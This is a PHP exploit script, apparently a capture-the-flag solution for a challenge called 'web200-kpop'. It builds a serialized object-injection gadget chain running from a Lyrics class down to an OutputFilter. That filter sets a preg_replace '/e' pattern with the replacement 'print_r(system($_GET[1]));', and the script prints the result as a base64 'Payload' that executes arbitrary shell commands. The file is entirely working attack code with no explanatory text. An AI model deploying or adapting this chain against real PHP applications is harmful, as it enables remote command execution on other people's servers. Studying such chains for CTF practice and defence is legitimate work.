web200-kpop.php

<?php
#by @manhluat93
 
class OutputFilter{
  protected $matchPattern;
  protected $replacement;
  function test() {
    $this->matchPattern = '/.*/e';
    $this->replacement = 'print_r(system($_GET[1]));';
  }
}
 
class LogFileFormat {
  protected $filters;
  protected $endl;
  function test($obj) {
    $this->filters = $obj;
  }
};
 
class LogWriter_File {
  protected $filename;
  protected $format;
  function test($filename, $format) {
    $this->filename = $filename;
    $this->format = $format;
  }
};
 
class Logger {
  protected $logwriter;
  function test($x) {
    $this->logwriter = $x;
  }
};
 
 
class Song {
  protected $logger;
  function test($x) {
    $this->logger = $x;
  }
}
 
class Lyrics {
  protected $song;
  function test($x) {
    $this->song = $x;
  }
};
$obj_OutputFilter = array(new OutputFilter());
$obj_OutputFilter[0]->test();
 
$obj_LogFileFormat = new LogFileFormat();
$obj_LogFileFormat->test($obj_OutputFilter);
 
$obj_LogWriter_File = new LogWriter_File();
$obj_LogWriter_File->test('abc.txt',$obj_LogFileFormat);
 
$obj_Logger= new Logger();
$obj_Logger->test($obj_LogWriter_File);
 
$obj_Song = new Song();
$obj_Song->test($obj_Logger);
 
$obj_Lyrics = new Lyrics();
$obj_Lyrics->test($obj_Song);
 
$serialize_ = serialize($obj_Lyrics);
 
echo $serialize_ . "\n\n";
 
echo 'Payload: ' . base64_encode($serialize_) . "\n\n";
 
print_r(unserialize($serialize_));
 
?>